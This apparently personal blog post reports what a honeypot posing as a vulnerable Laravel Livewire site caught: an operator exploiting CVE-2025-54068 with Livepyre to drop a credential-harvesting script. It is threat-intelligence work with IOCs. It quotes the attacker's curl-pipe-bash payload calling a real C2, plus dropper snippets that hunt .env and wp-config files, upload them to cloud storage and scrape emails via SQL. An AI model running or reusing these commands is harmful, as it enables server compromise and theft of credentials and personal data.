HELGE SVERREAll-stack Developer
Bergen, Norwayv13.0
est. 2012  |  300+ repos  |  4000+ contributions
Tools  |   Theme:
What My Livewire Honeypot Caught in Its First 60 Hours
May 16, 2026

I built livewire-honeypot earlier this month to catch in-the-wild exploitation of CVE-2025-54068. This is its first real-world deployment. Yesterday it caught an Indonesian operator running Livepyre, dropping a payload that pointed at xantibot[.]pw — a C2 that has been operating since at least February 2026 and does not appear in any threat-intel feed I can search.

Honeypot

livewire-honeypot is a FastAPI service that pretends to be a Laravel application running a Livewire 3 version vulnerable to CVE-2025-54068. The CVE is an unauthenticated RCE through Livewire's component-update hydration path. Synacktiv's writeup covers the bug; their public exploit tool is Livepyre.

The trap is deployed at veritron.space on a $6/month DigitalOcean droplet, behind nginx with a Let's Encrypt cert. The facade is a static corporate site for Veritron Systems AS, a fictional Norwegian aerospace and maritime heat-shield defense contractor. It loads Livewire's JS, exposes a contact form with the right wire: attributes, and returns Livewire 3-shaped responses to POST /livewire/message. The only requirement is that it look like a real, slightly-neglected Laravel install. Captured payloads are stored in SQLite, deduplicated by SHA-256, and detonated in a Docker sandbox with --network=none and an LD_PRELOAD libc shim that logs attempted network calls.

Validation against Livepyre

Before exposing the trap to the wild I ran Livepyre against it three times, fixing the facade each time until the tool advanced one stage further.

Run 1 — Target is not vulnerable. Exiting. Livepyre fingerprints the Livewire version by searching for an 8-character cache-bust hash in the rendered HTML. The facade did not emit one. Hardcoded ?id=87e1046f (the v3.5.1 hash) on the livewire.js script tag.

Run 2 — Found 0 snapshot(s) available. Livepyre extracts snapshots with re.findall(r'wire:snapshot="([^"]*)"', html). The regex requires double quotes. The template used single quotes. Switched to HTML-entity-encoded double-quoted form.

Run 3 — Found 1 snapshot(s) available. Sending payload system('id') to livewire. Livepyre committed the stage-2 PHP property-oriented programming chain to the wire on every form parameter. Six payloads, each 1,348 bytes, all classified as serialized_object and detonated in the sandbox. The trap returns 200s shaped like Livewire 3 responses, which is enough to make Livepyre commit bytes before deciding the exploit failed.

First exploitation attempt

At 23:31:37 UTC, source IP 140.213.220.239 (Telkomsel Indonesia residential) made three HTTP requests in two seconds:

23:31:37  GET   /                  read snapshot from page
23:31:37  POST  /livewire/message  stage-1 array-cast probe   (325 B)
23:31:38  POST  /livewire/message  stage-2 gadget chain     (1,441 B)

User-Agent: python-requests/2.32.4 — the exact version pinned in Livepyre's requirements.txt. Three-request pattern, one-second stage interval, alphabetically-first-parameter probe: all consistent with vanilla Livepyre run without an APP_KEY argument.

The stage-2 payload was 93 bytes larger than Livepyre's default 1,348-byte payload. The delta was the system() argument:

system("(curl -skfsSL https://xantibot.pw/database-sell/shoc.sh
  | tr -d '\r' | bash >/dev/null 2>&1 &); id")

Two commands chained with ;. The first silently downloads a shell script from xantibot[.]pw, strips Windows line endings, pipes to bash, suppresses output, and backgrounds the process. The second is Livepyre's standard id confirmation check. The dropper begins executing before Livepyre evaluates its own success — the id output is the operator's PoC receipt, not the goal.

The dropper

I retrieved shoc.sh as text and did not execute it. It is not a miner, persistence loader, or generic webshell installer. It is a credential and database-harvesting script for compromised PHP applications.

The first thing it does is create a run marker at /tmp/test1. If that directory already exists, it sends an EXPLOIT SKIP message to a Telegram bot and exits. If not, it sends EXPLOIT RUN, creates the marker directory, and starts searching the filesystem:

find / -type f -name ".env" 2>/dev/null
find / -type f -name "wp-config.php" 2>/dev/null
find / -type f -name "env.php" 2>/dev/null

For every .env file it finds, it extracts DB_HOST, DB_DATABASE, DB_USERNAME, DB_PASSWORD, and APP_KEY. Laravel environment files with an APP_KEY are sent directly to the operator's Telegram chat as documents, then uploaded to a DigitalOcean Spaces bucket. Non-Laravel .env files, WordPress wp-config.php files, and env.php files are uploaded to the same bucket under separate prefixes.

The upload code hand-rolls AWS Signature Version 4 in bash using openssl, then performs a PUT to DigitalOcean Spaces:

BUCKET="cloudz"
REGION="sfo3"
HOST="sfo3.digitaloceanspaces.com"

curl --http1.1 -s -X PUT "https://${HOST}/${BUCKET}/${OBJECT}" \
  -T "$FILE" \
  -H "x-amz-content-sha256: ${PAYLOAD_HASH}" \
  -H "x-amz-date: ${DATE}" \
  -H "Authorization: ${AUTH_HEADER}"

The Telegram bot token, chat ID, Spaces access key, and Spaces secret key are all hardcoded as live values.

After the config-file sweep, the script deduplicates the discovered MySQL credentials and tries them one by one. For each working database login, it queries information_schema.COLUMNS for text-like columns, then runs a regex over each candidate column looking for email addresses:

SELECT TABLE_NAME, COLUMN_NAME
FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA = '$DB_NAME'
AND DATA_TYPE IN ('varchar', 'char', 'text', 'longtext', 'mediumtext');

The extracted email addresses are written to /tmp/test1/email.txt, deduplicated, then uploaded to Spaces under an email/ prefix. Telegram gets a status message listing each database as [LIVE] or [DIE/EMPTY] along with the total email count.

There is no foothold. /tmp/test1 is a deduplication marker, not persistence — if the same box gets exploited again, the second run pings Telegram with EXPLOIT SKIP and exits. No webshell drop, no cron entry, no backdoor account, no reverse shell. Grab the config files and database credentials on first contact, leave. The database-sell directory naming matches the operating model: hit many hosts once each, sell the loot. The defensive implication is that there is nothing to hunt for on disk after the fact — the IOCs are in the request logs, not in any artifact left behind.

Operator notes

The script's comments are in Indonesian. Translated:

# If [the marker] doesn't exist, the commands below will run
# dgspaceup "/tmp/test.txt" "env/test.txt"          (commented-out test upload)
# Extract values from the .env file
# Get the list of text columns
# Variable holding the email count for this specific DB
# Pull all email data into email.txt
# Count how many new rows were added from this database
# Clean duplicates so the email list is unique
# 1. Send the summary text notification to Telegram
# 2. Important note before deleting:
#    If your 'send_telegram' function doesn't upload the local file
#    (${TARGET_DIR}/email.txt), move it to a safe directory before
#    running rm -rf.
#    Example: mv "${TARGET_DIR}/email.txt" "/home/user/email_backup_${HOSTNAME}.txt"

The language matches the Telkomsel operator IP and the Domainesia-registered C2. The "important note before deleting" is the interesting line — the operator is writing themselves a reminder about an rm -rf cleanup step, with a fallback mv example in case send_telegram silently drops the local file. The numbered list ("1. Send notification… 2. Important note…") is step-by-step working notes. This reads like an in-development tool the operator is still iterating on, not a polished commodity payload picked up off a marketplace.

C2 attribution

xantibot.pw resolves to 47.129.100.149 (Alibaba Cloud Singapore, AS45102). Nameservers are ns1.domainesia.net and ns2.domainesia.net — Domainesia is an Indonesian hosting and registrar. Operator source IP in Telkomsel residential space, C2 domain registered through an Indonesian provider, dropper parked on an APAC VPS: an Indonesian operator using local infrastructure for the campaign side and a Singapore box for the payload host.

urlscan.io has thirty prior records referencing xantibot.pw, the oldest dated 2026-02-03. The pattern is small-business and SaaS sites linking to or hosting the C2:

DateSite
2026-05-11mikeburnham.co.uk
2026-04-22apps.10k.media
2026-04-16apppartner.aboveandbeyondak.com
2026-04-11apps.afriquemapatrie.net
2026-04-04mex-xn.ovh-mx-netsuite.com
2026-03-26clecioautosocorro.com.br
2026-03-19callfordriver.com
2026-02-22clecioautosocorro.com.br
2026-02-03secure07.gotdns.ch

secure07.gotdns.ch is dynamic DNS, typical attacker staging. mex-xn.ovh-mx-netsuite.com looks like a NetSuite typosquat. The Brazilian auto-repair site appears twice within three weeks, consistent with re-compromise after cleanup or reuse as a relay.

None of this is written up anywhere I could find. xantibot.pw has been visible in urlscan.io for three and a half months across nine distinct victim hosts, AlienVault OTX has zero pulses tagged with the domain, and a normal search turns up no vendor blogs, community writeups, or IOC lists. The trail is sitting in a public scanner and nobody has joined the dots. The database-sell path name and the unattended-dropper pattern read like credential or database exfiltration. The retrieved shoc.sh artifact confirms it.

IOCs

URL (defanged):
  hxxps://xantibot[.]pw/database-sell/shoc[.]sh

Domain:
  xantibot[.]pw

IPv4:
  47.129.100.149              Alibaba Cloud Singapore, current dropper host
  140.213.220.239             Telkomsel Indonesia, observed operator source

Nameservers:
  ns1.domainesia.net
  ns2.domainesia.net

User-Agent:
  python-requests/2.32.4

Stage-2 payload SHA-256:
  aed5b1a5fb7a4b8d5c1eac331330b9c94fea7d6e66450b756917b253ab6d83be

Exploit:
  CVE-2025-54068 via Livepyre, system() with non-default argument

Submitted to URLhaus and AlienVault OTX.

Discovery latency

The trap was online for 60 hours before the catch. Background scanner traffic in that window — .env probes, webshell-name fishing, WordPress install-page scans — none of it Livewire-shaped. The Livepyre run was the first request that knew what it was looking at.

The domain has no inbound links and has never been submitted anywhere. The only public record of its existence is the Let's Encrypt certificate in CT logs. That makes CT-log monitoring — directly, or via Shodan/Censys picking up the new cert and indexing the host — the only discovery channel that fits.

Three days from cert issuance to targeted Livepyre is fast enough that the operator's pipeline is almost certainly seeded from new-cert feeds, not from periodic internet-wide rescans. A TLS certificate is the host being added to a public list of fresh targets. The operators reading that list run on a sub-three-day clock.




<!-- generated with nested tables and zero regrets -->